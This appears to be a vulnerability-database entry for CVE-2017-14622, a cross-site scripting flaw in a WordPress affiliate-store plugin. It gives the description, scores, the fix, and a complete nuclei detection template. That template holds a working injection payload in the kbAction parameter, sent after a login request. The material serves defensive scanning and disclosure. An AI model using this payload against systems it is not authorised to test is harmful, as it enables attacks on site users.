HexBrain

Browse / CVEs / CVE-2017-14622

CVE-2017-14622· 2kblater / 2kb amazon affiliates store· CWE-79

WordPress 2kb Amazon Affiliates Store <2.1.1 - Cross-Site Scripting

mediumseverity
6.1CVSS score
2.9%likelihood of exploitation, next 30 days
87%of all CVEs are less likely
Readycheck to confirm it

WordPress 2kb Amazon Affiliates Store plugin before 2.1.1 contains multiple cross-site scripting vulnerabilities. The plugin allows an attacker to inject arbitrary web script or HTML via the (1) page parameter or (2) kbAction parameter in the kbAmz page to wp-admin/admin.php, thus making possible theft of cookie-based authentication credentials and launch of other attacks.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential theft of sensitive information or unauthorized actions.

Fix

Update the WordPress 2kb Amazon Affiliates Store plugin to version 2.1.1 or later to mitigate the vulnerability.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=kbAmz&kbAction=demo%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: status_code_2 == 500 and contains(content_type_2, "text/html") and contains(body_2, "<script>alert(document.domain)</script>") and contains(body_2, "2kb-amazon-affiliates-store")

Run it with nuclei: nuclei -id CVE-2017-14622 -u <target>

The full check
id: CVE-2017-14622

info:
  name: WordPress 2kb Amazon Affiliates Store <2.1.1 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    WordPress 2kb Amazon Affiliates Store plugin before 2.1.1 contains multiple cross-site scripting vulnerabilities. The plugin allows an attacker to inject arbitrary web script or HTML via the (1) page parameter or (2) kbAction parameter in the kbAmz page to wp-admin/admin.php, thus making possible theft of cookie-based authentication credentials and launch of other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential theft of sensitive information or unauthorized actions.
  remediation: |
    Update the WordPress 2kb Amazon Affiliates Store plugin to version 2.1.1 or later to mitigate the vulnerability.
  reference:
    - https://packetstormsecurity.com/files/144261/WordPress-2kb-Amazon-Affiliates-Store-2.1.0-Cross-Site-Scripting.html
    - https://wordpress.org/plugins/2kb-amazon-affiliates-store/#developers
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14622
    - https://nvd.nist.gov/vuln/detail/CVE-2017-14622
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-14622
    cwe-id: CWE-79
    epss-score: 0.02892
    epss-percentile: 0.8702
    cpe: cpe:2.3:a:2kblater:2kb_amazon_affiliates_store:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: 2kblater
    product: 2kb_amazon_affiliates_store
    framework: wordpress
  tags: cve2017,cve,xss,wordpress,wp-plugin,wp,2kb-amazon-affiliates-store,authenticated,packetstorm,2kblater,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=kbAmz&kbAction=demo%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 500'
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "<script>alert(document.domain)</script>")'
          - 'contains(body_2, "2kb-amazon-affiliates-store")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from